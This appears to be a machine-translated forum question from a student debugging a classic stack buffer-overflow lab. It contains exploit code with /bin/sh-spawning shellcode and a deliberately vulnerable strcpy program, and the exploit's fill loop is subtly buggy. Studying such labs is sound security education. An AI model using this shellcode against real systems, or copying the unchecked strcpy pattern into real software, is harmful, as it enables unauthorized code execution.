그럼에도 불구하고, 나는이 응용 프로그램의 취약점을 악용하기 위해 노력하고있어 보안 수준이 버퍼 오버 플로우 물건을 학습 : 들어버퍼 오버 플로우
//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;
int main(int argc, char* argv[])
{
char buffer[517];
char large_string[512];
FILE *badfile;
badfile = fopen("./badfile", "w");
//NOPslide
memset(&buffer,0x90,517);
//BEGIN FILL BUFFER
//from stack_smashing.pdf
long *long_ptr = (long *) large_string;
int i;
for (i = 0; i < 128; i++)
*(long_ptr + i) = (int) buffer;
for (i = 100; i < strlen(code)+100; i++)
large_string[i] = code[i];
strcpy(buffer,large_string);
//END FILL BUFFER
//save buffer to badfile
fwrite(buffer,517,1,badfile);
fclose(badfile);
return 0;
}
:이 응용 프로그램을 이용하여
//vuln.c
#include <stdio.h>
int bof(char *str)
{
char buffer[12];
//BO Vulnerability
strcpy(buffer,str);
return 1;
}
int main(int argc, char* argv[])
{
char str[517];
FILE *badfile;
badfile = fopen("badfile","r");
fread(str, sizeof(char),517, badfile);
bof(str);
printf("Returned Properly\n");
return 1;
}
을 어떤 이유로, 익스플로잇을 실행하여 badfile을 생성 할 때, 아무 것도 푸시하지 않습니다. 버퍼가 비어 있거나 제대로 기록되지 않습니다. 나는 내 실수를 찾지 못하고, 끊임없이 Google 검색을 한 후에도 충분한 대답을 찾을 수 없었다. 필자가 사용한 채우기 버퍼 코드에 대한 나의 이해에서, 이것은 내 버퍼의 주소로 long_string을 채워야하고, long_string (NOOP 슬라이드의 비트 이후)의 시작 부분에 쉘 코드를 넣은 다음 long_string을 다시 버퍼에 복사해야합니다. 나는 이것이나 fwrite와 관련하여 어떤 문제도 실제로 볼 수 없다. 제안?
코드 또는 게시물에 'badfile - fopen ("badfile", "r")'오타가 있습니까? – ughoavgfhw
'sizeof (long) == 4 '(즉, 32 비트 프로그램)라고 가정하면 코드는 그대로 작동해야합니다. –
sizeof (long)> 4로 가정하면 코드 자체에 버퍼 오버플로가 있습니다. – Sebastian